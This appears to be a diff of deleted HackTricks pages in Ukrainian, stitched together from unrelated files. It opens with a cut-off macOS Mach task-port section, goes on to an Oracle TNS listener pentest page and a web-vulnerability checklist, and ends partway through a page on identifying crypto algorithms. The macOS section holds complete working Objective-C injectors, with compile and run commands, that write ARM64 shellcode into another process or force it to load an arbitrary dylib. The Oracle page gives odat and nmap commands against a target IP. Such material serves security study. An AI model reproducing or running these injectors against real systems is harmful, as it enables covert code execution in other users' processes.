while (true) {
[NSThread sleepForTimeInterval:5];
performMathOperations(); // Silent action
[NSThread sleepForTimeInterval:5];
}
}
return 0;
}
```
{{#endtab}}
{{#tab name="entitlements.plist"}}
```xml
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.get-task-allow</key>
<true/>
</dict>
</plist>
```
{{#endtab}}
{{#endtabs}}
**Скомпілюйте** попередню програму та додайте **entitlements**, щоб мати можливість інжектувати код з тим самим користувачем (якщо ні, вам потрібно буде використовувати **sudo**).
<details>
<summary>sc_injector.m</summary>
```objectivec
// gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector
#import <Foundation/Foundation.h>
#import <AppKit/AppKit.h>
#include <mach/mach_vm.h>
#include <sys/sysctl.h>
#ifdef __arm64__
kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);
kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);
#else
#include <mach/mach_vm.h>
#endif
#define STACK_SIZE 65536
#define CODE_SIZE 128
// ARM64 shellcode that executes touch /tmp/lalala
char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";
int inject(pid_t pid){
task_t remoteTask;
// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
return (-1);
}
else{
printf("Gathered privileges over the task port of process: %d\n", pid);
}
// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else
{
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}
// Allocate memory for the code
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
// Write the shellcode to the allocated memory
kr = mach_vm_write(remoteTask, // Task port
remoteCode64, // Virtual Address (Destination)
(vm_address_t) injectedCode, // Source
0xa9); // Length of the source
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
return (-3);
}
// Set the permissions on the allocated code memory
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
return (-4);
}
// Set the permissions on the allocated stack memory
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
return (-4);
}
// Create thread to run shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
//remoteStack64 -= 8; // need alignment of 16
const char* p = (const char*) remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
if (kr != KERN_SUCCESS) {
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
return (-3);
}
return (0);
}
pid_t pidForProcessName(NSString *processName) {
NSArray *arguments = @[@"pgrep", processName];
NSTask *task = [[NSTask alloc] init];
[task setLaunchPath:@"/usr/bin/env"];
[task setArguments:arguments];
NSPipe *pipe = [NSPipe pipe];
[task setStandardOutput:pipe];
NSFileHandle *file = [pipe fileHandleForReading];
[task launch];
NSData *data = [file readDataToEndOfFile];
NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
return (pid_t)[string integerValue];
}
BOOL isStringNumeric(NSString *str) {
NSCharacterSet* nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet];
NSRange r = [str rangeOfCharacterFromSet: nonNumbers];
return r.location == NSNotFound;
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
if (argc < 2) {
NSLog(@"Usage: %s <pid or process name>", argv[0]);
return 1;
}
NSString *arg = [NSString stringWithUTF8String:argv[1]];
pid_t pid;
if (isStringNumeric(arg)) {
pid = [arg intValue];
} else {
pid = pidForProcessName(arg);
if (pid == 0) {
NSLog(@"Error: Process named '%@' not found.", arg);
return 1;
}
else{
printf("Found PID of process '%s': %d\n", [arg UTF8String], pid);
}
}
inject(pid);
}
return 0;
}
```
</details>
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>
```
### Dylib Injection in thread via Task port
В macOS **потоки** можуть бути маніпульовані через **Mach** або за допомогою **posix `pthread` api**. Потік, який ми створили в попередньому ін'єкції, був створений за допомогою Mach api, тому **він не відповідає стандарту posix**.
Було можливим **впровадити простий shellcode** для виконання команди, оскільки він **не потребував роботи з posix** сумісними api, лише з Mach. **Більш складні ін'єкції** вимагатимуть, щоб **потік** також був **сумісний з posix**.
Отже, щоб **покращити потік**, він повинен викликати **`pthread_create_from_mach_thread`**, що створить **дійсний pthread**. Тоді цей новий pthread міг би **викликати dlopen** для **завантаження dylib** з системи, тому замість написання нового shellcode для виконання різних дій, можна завантажити користувацькі бібліотеки.
Ви можете знайти **приклади dylibs** в (наприклад, той, що генерує журнал, а потім ви можете його прослухати):
{{#ref}}
../../macos-dyld-hijacking-and-dyld_insert_libraries.md
{{#endref}}
<details>
<summary>dylib_injector.m</summary>
```objectivec
// gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
// Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c
#include <dlfcn.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <mach/mach.h>
#include <mach/error.h>
#include <errno.h>
#include <stdlib.h>
#include <sys/sysctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <pthread.h>
#ifdef __arm64__
//#include "mach/arm/thread_status.h"
// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported
// And I say, bullshit.
kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);
kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);
#else
#include <mach/mach_vm.h>
#endif
#define STACK_SIZE 65536
#define CODE_SIZE 128
char injectedCode[] =
// "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :)
// Call pthread_set_self
"\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables
"\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack
"\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer
"\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the
"\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0;
"\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start
"\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0;
"\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread)
"\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread
"\x00\x00\x00\x14" // loop: b loop ; loop forever
// Call dlopen with the path to the library
"\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB...";
"\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0;
"\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop
"\x00\x01\x3f\xd6" // BLR X8 ; do dlopen()
// Call pthread_exit
"\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT
"\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0;
"\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit
"PTHRDCRT" // <-
"PTHRDEXT" // <-
"DLOPEN__" // <-
"LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ;
int inject(pid_t pid, const char *lib) {
task_t remoteTask;
struct stat buf;
// Check if the library exists
int rc = stat (lib, &buf);
if (rc != 0)
{
fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno));
//return (-9);
}
// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
return (-1);
}
else{
printf("Gathered privileges over the task port of process: %d\n", pid);
}
// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else
{
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}
// Allocate memory for the code
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
// Patch shellcode
int i = 0;
char *possiblePatchLocation = (injectedCode );
for (i = 0 ; i < 0x100; i++)
{
// Patching is crude, but works.
//
extern void *_pthread_set_self;
possiblePatchLocation++;
uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread;
uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit;
uint64_t addrOfDlopen = (uint64_t) dlopen;
if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadExit,8);
printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit);
}
if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadCreate,8);
printf ("Pthread create from mach thread @%llx\n", addrOfPthreadCreate);
}
if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
{
printf ("DLOpen @%llx\n", addrOfDlopen);
memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
}
if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)
{
strcpy(possiblePatchLocation, lib );
}
}
// Write the shellcode to the allocated memory
kr = mach_vm_write(remoteTask, // Task port
remoteCode64, // Virtual Address (Destination)
(vm_address_t) injectedCode, // Source
0xa9); // Length of the source
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
return (-3);
}
// Set the permissions on the allocated code memory
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
return (-4);
}
// Set the permissions on the allocated stack memory
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
return (-4);
}
// Create thread to run shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
//remoteStack64 -= 8; // need alignment of 16
const char* p = (const char*) remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
if (kr != KERN_SUCCESS) {
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
return (-3);
}
return (0);
}
int main(int argc, const char * argv[])
{
if (argc < 3)
{
fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]);
fprintf (stderr, " _action_: path to a dylib on disk\n");
exit(0);
}
pid_t pid = atoi(argv[1]);
const char *action = argv[2];
struct stat buf;
int rc = stat (action, &buf);
if (rc == 0) inject(pid,action);
else
{
fprintf(stderr,"Dylib not found\n");
}
}
```
</details>
```bash
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject <pid-of-mysleep> </path/to/lib.dylib>
```
### Перехоплення потоку через порт завдання <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>
У цій техніці потік процесу перехоплюється:
{{#ref}}
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md
{{#endref}}
## XPC
### Основна інформація
XPC, що означає XNU (ядро, яке використовується в macOS), є фреймворком для **зв'язку між процесами** на macOS та iOS. XPC надає механізм для здійснення **безпечних, асинхронних викликів методів між різними процесами** в системі. Це частина парадигми безпеки Apple, що дозволяє **створювати програми з розділеними привілеями**, де кожен **компонент** працює з **тільки тими правами, які йому потрібні** для виконання своєї роботи, тим самим обмежуючи потенційні збитки від скомпрометованого процесу.
Для отримання додаткової інформації про те, як цей **зв'язок працює** і як він **може бути вразливим**, перегляньте:
{{#ref}}
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/
{{#endref}}
## MIG - Генератор інтерфейсу Mach
MIG був створений для **спрощення процесу створення коду Mach IPC**. Він в основному **генерує необхідний код** для зв'язку сервера та клієнта з даним визначенням. Навіть якщо згенерований код виглядає неохайно, розробнику просто потрібно буде імпортувати його, і його код стане набагато простішим, ніж раніше.
Для отримання додаткової інформації перегляньте:
{{#ref}}
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
{{#endref}}
## Посилання
- [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)
- [https://knight.sc/malware/2019/03/15/code-injection-on-macos.html](https://knight.sc/malware/2019/03/15/code-injection-on-macos.html)
- [https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a](https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a)
- [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
- [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -1,61 +0,0 @@
# 1521,1522-1529 - Pentesting Oracle TNS Listener
{{#include ../../banners/hacktricks-training.md}}
## Основна інформація
Oracle database (Oracle DB) - це система управління реляційними базами даних (RDBMS) від корпорації Oracle (з [тут](https://www.techopedia.com/definition/8711/oracle-database)).
Коли ви перераховуєте Oracle, перший крок - поговорити з TNS-Listener, який зазвичай знаходиться на стандартному порту (1521/TCP, -ви також можете отримати вторинні слухачі на 15221529-).
```
1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows)
1748/tcp open oracle-tns Oracle TNS Listener
```
## Резюме
1. **Перерахунок версій**: Визначте інформацію про версію, щоб шукати відомі вразливості.
2. **Брутфорс TNS Listener**: Іноді необхідно для встановлення зв'язку.
3. **Перерахунок/Брутфорс SID**: Виявлення імен бази даних (SID).
4. **Брутфорс облікових даних**: Спроба доступу до виявленого SID.
5. **Виконання коду**: Спроба виконати код на системі.
Щоб використовувати модулі MSF oracle, вам потрібно встановити деякі залежності: [**Встановлення**](oracle-pentesting-requirements-installation.md)
## Пости
Перегляньте ці пости:
- [https://secybr.com/posts/oracle-pentesting-best-practices/](https://secybr.com/posts/oracle-pentesting-best-practices/)
- [https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573](https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573)
- [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/)
- [http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html](http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html)
## Автоматичні команди HackTricks
```
Protocol_Name: Oracle #Protocol Abbreviation if there is one.
Port_Number: 1521 #Comma separated if there is more than one.
Protocol_Description: Oracle TNS Listener #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for Oracle
Note: |
Oracle database (Oracle DB) is a relational database management system (RDBMS) from the Oracle Corporation
#great oracle enumeration tool
navigate to https://github.com/quentinhardy/odat/releases/
download the latest
tar -xvf odat-linux-libc2.12-x86_64.tar.gz
cd odat-libc2.12-x86_64/
./odat-libc2.12-x86_64 all -s 10.10.10.82
for more details check https://github.com/quentinhardy/odat/wiki
https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html
Entry_2:
Name: Nmap
Description: Nmap with Oracle Scripts
Command: nmap --script "oracle-tns-version" -p 1521 -T4 -sV {IP}
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,129 +0,0 @@
# Методологія веб-вразливостей
{{#include ../../banners/hacktricks-training.md}}
У кожному веб-пентесті є **кілька прихованих і очевидних місць, які можуть бути вразливими**. Ця публікація призначена як контрольний список, щоб підтвердити, що ви перевірили всі можливі місця на наявність вразливостей.
## Проксі
> [!TIP]
> Сьогодні **веб** **додатки** зазвичай **використовують** якийсь вид **проміжних** **проксі**, які можуть бути (зловжито) використані для експлуатації вразливостей. Ці вразливості потребують наявності вразливого проксі, але зазвичай також потребують додаткової вразливості на бекенді.
- [ ] [**Зловживання заголовками hop-by-hop**](../abusing-hop-by-hop-headers.md)
- [ ] [**Отруєння кешу/Обман кешу**](../cache-deception.md)
- [ ] [**HTTP Request Smuggling**](../http-request-smuggling/index.html)
- [ ] [**H2C Smuggling**](../h2c-smuggling.md)
- [ ] [**Серверне включення/Включення на краю**](../server-side-inclusion-edge-side-inclusion-injection.md)
- [ ] [**Викриття Cloudflare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
- [ ] [**XSLT Серверне включення**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
- [ ] [**Обхід захисту проксі / WAF**](../proxy-waf-protections-bypass.md)
## **Введення користувача**
> [!TIP]
> Більшість веб-додатків **дозволяють користувачам вводити деякі дані, які будуть оброблені пізніше.**\
> Залежно від структури даних, які очікує сервер, деякі вразливості можуть або не можуть застосовуватися.
### **Відображені значення**
Якщо введені дані можуть бути відображені у відповіді, сторінка може бути вразливою до кількох проблем.
- [ ] [**Включення шаблонів на стороні клієнта**](../client-side-template-injection-csti.md)
- [ ] [**Включення команд**](../command-injection.md)
- [ ] [**CRLF**](../crlf-0d-0a.md)
- [ ] [**Залишковий розмітка**](../dangling-markup-html-scriptless-injection/index.html)
- [ ] [**Включення файлів/Перехід по шляху**](../file-inclusion/index.html)
- [ ] [**Відкритий редирект**](../open-redirect.md)
- [ ] [**Забруднення прототипу до XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
- [ ] [**Серверне включення/Включення на краю**](../server-side-inclusion-edge-side-inclusion-injection.md)
- [ ] [**Серверне підроблення запитів**](../ssrf-server-side-request-forgery/index.html)
- [ ] [**Включення шаблонів на стороні сервера**](../ssti-server-side-template-injection/index.html)
- [ ] [**Зворотне таб-навбінг**](../reverse-tab-nabbing.md)
- [ ] [**XSLT Серверне включення**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
- [ ] [**XSS**](../xss-cross-site-scripting/index.html)
- [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md)
- [ ] [**XS-Search**](../xs-search.md)
Деякі з вказаних вразливостей потребують спеціальних умов, інші просто вимагають, щоб вміст був відображений. Ви можете знайти деякі цікаві поліглоти для швидкого тестування вразливостей у:
{{#ref}}
../pocs-and-polygloths-cheatsheet/
{{#endref}}
### **Функції пошуку**
Якщо функція може бути використана для пошуку якихось даних на бекенді, можливо, ви зможете (зловжити) нею для пошуку довільних даних.
- [ ] [**Включення файлів/Перехід по шляху**](../file-inclusion/index.html)
- [ ] [**NoSQL Injection**](../nosql-injection.md)
- [ ] [**LDAP Injection**](../ldap-injection.md)
- [ ] [**ReDoS**](../regular-expression-denial-of-service-redos.md)
- [ ] [**SQL Injection**](../sql-injection/index.html)
- [ ] [**XPATH Injection**](../xpath-injection.md)
### **Форми, WebSockets та PostMsgs**
Коли вебсокет надсилає повідомлення або форма дозволяє користувачам виконувати дії, можуть виникнути вразливості.
- [ ] [**Cross Site Request Forgery**](../csrf-cross-site-request-forgery.md)
- [ ] [**Перехоплення WebSocket (CSWSH)**](../websocket-attacks.md)
- [ ] [**Вразливості PostMessage**](../postmessage-vulnerabilities/index.html)
### **HTTP Заголовки**
Залежно від HTTP заголовків, наданих веб-сервером, можуть бути присутніми деякі вразливості.
- [ ] [**Clickjacking**](../clickjacking.md)
- [ ] [**Обхід політики безпеки контенту**](../content-security-policy-csp-bypass/index.html)
- [ ] [**Злом Cookies**](../hacking-with-cookies/index.html)
- [ ] [**CORS - Неправильні налаштування та обхід**](../cors-bypass.md)
### **Обходи**
Є кілька специфічних функцій, де деякі обхідні рішення можуть бути корисними для їх обходу.
- [ ] [**Обхід 2FA/OTP**](../2fa-bypass.md)
- [ ] [**Обхід процесу оплати**](../bypass-payment-process.md)
- [ ] [**Обхід Captcha**](../captcha-bypass.md)
- [ ] [**Обхід входу**](../login-bypass/index.html)
- [ ] [**Умова гонки**](../race-condition.md)
- [ ] [**Обхід обмеження швидкості**](../rate-limit-bypass.md)
- [ ] [**Обхід скидання забутого пароля**](../reset-password.md)
- [ ] [**Вразливості реєстрації**](../registration-vulnerabilities.md)
### **Структуровані об'єкти / Специфічні функції**
Деякі функції вимагатимуть, щоб **дані були структуровані в дуже специфічному форматі** (як серіалізований об'єкт мови або XML). Тому легше визначити, чи може додаток бути вразливим, оскільки він повинен обробляти такі дані.\
Деякі **специфічні функції** також можуть бути вразливими, якщо використовується **специфічний формат введення** (як ін'єкції заголовків електронної пошти).
- [ ] [**Десеріалізація**](../deserialization/index.html)
- [ ] [**Ін'єкція заголовків електронної пошти**](../email-injections.md)
- [ ] [**Вразливості JWT**](../hacking-jwt-json-web-tokens.md)
- [ ] [**XML Зовнішня сутність**](../xxe-xee-xml-external-entity.md)
### Файли
Функції, які дозволяють завантажувати файли, можуть бути вразливими до кількох проблем.\
Функції, які генерують файли, включаючи введення користувача, можуть виконувати непередбачений код.\
Користувачі, які відкривають файли, завантажені користувачами або автоматично згенеровані, включаючи введення користувача, можуть бути скомпрометовані.
- [ ] [**Завантаження файлів**](../file-upload/index.html)
- [ ] [**Ін'єкція формули**](../formula-csv-doc-latex-ghostscript-injection.md)
- [ ] [**Ін'єкція PDF**](../xss-cross-site-scripting/pdf-injection.md)
- [ ] [**Серверний XSS**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
### **Зовнішнє управління ідентичністю**
- [ ] [**OAUTH до захоплення облікового запису**](../oauth-to-account-takeover.md)
- [ ] [**Атаки SAML**](../saml-attacks/index.html)
### **Інші корисні вразливості**
Ці вразливості можуть допомогти в експлуатації інших вразливостей.
- [ ] [**Захоплення домену/піддомену**](../domain-subdomain-takeover.md)
- [ ] [**IDOR**](../idor.md)
- [ ] [**Забруднення параметрів**](../parameter-pollution.md)
- [ ] [**Вразливість нормалізації Unicode**](../unicode-injection/index.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,183 +0,0 @@
# Криптографічні/Стиснення Алгоритми
{{#include ../../banners/hacktricks-training.md}}
## Визначення Алгоритмів
Якщо ви закінчуєте в коді **використовуючи зсуви вправо та вліво, XOR та кілька арифметичних операцій**, то з великою ймовірністю це реалізація **криптографічного алгоритму**. Тут будуть показані деякі способи **визначити алгоритм, який використовується, не потребуючи реверсувати кожен крок**.
### API функції
**CryptDeriveKey**
Якщо ця функція використовується, ви можете дізнатися, який **алгоритм використовується**, перевіривши значення другого параметра:
![](<../../images/image (375) (1) (1) (1) (1).png>)
Перевірте тут таблицю можливих алгоритмів та їх призначених значень: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
**RtlCompressBuffer/RtlDecompressBuffer**
Стискає та розпаковує дані з даного буфера.
**CryptAcquireContext**
З [документації](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): Функція **CryptAcquireContext** використовується для отримання дескриптора до певного контейнера ключів у певному постачальнику криптографічних послуг (CSP). **Цей повернений дескриптор використовується в викликах функцій CryptoAPI**, які використовують вибраний CSP.
**CryptCreateHash**
Ініціює хешування потоку даних. Якщо ця функція використовується, ви можете дізнатися, який **алгоритм використовується**, перевіривши значення другого параметра:
![](<../../images/image (376).png>)
\
Перевірте тут таблицю можливих алгоритмів та їх призначених значень: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
### Константи коду
Іноді дуже легко визначити алгоритм завдяки тому, що він потребує використання спеціального та унікального значення.
![](<../../images/image (370).png>)
Якщо ви шукаєте першу константу в Google, ось що ви отримаєте:
![](<../../images/image (371).png>)
Отже, ви можете припустити, що декомпільована функція є **калькулятором sha256.**\
Ви можете шукати будь-яку з інших констант, і ви отримаєте (ймовірно) той же результат.
### інформація про дані
Якщо код не має жодної значної константи, він може **завантажувати інформацію з секції .data**.\
Ви можете отримати доступ до цих даних, **згрупувати перший dword** і шукати його в Google, як ми робили в попередньому розділі:
![](<../../images/image (372).png>)
У цьому випадку, якщо ви шукаєте **0xA56363C6**, ви можете знайти, що це пов'язано з **таблицями алгоритму AES**.
## RC4 **(Симетричне Криптування)**
### Характеристики
Він складається з 3 основних частин:
- **Стадія ініціалізації/**: Створює **таблицю значень від 0x00 до 0xFF** (всього 256 байт, 0x100). Цю таблицю зазвичай називають **Субституційною коробкою** (або SBox).
- **Стадія перемішування**: Буде **проходити через таблицю**, створену раніше (цикл 0x100 ітерацій, знову) модифікуючи кожне значення з **напіввипадковими** байтами. Для створення цих напіввипадкових байтів використовується **ключ RC4**. **Ключі RC4** можуть бути **від 1 до 256 байт в довжину**, однак зазвичай рекомендується, щоб вони були більше 5 байт. Зазвичай ключі RC4 мають довжину 16 байт.
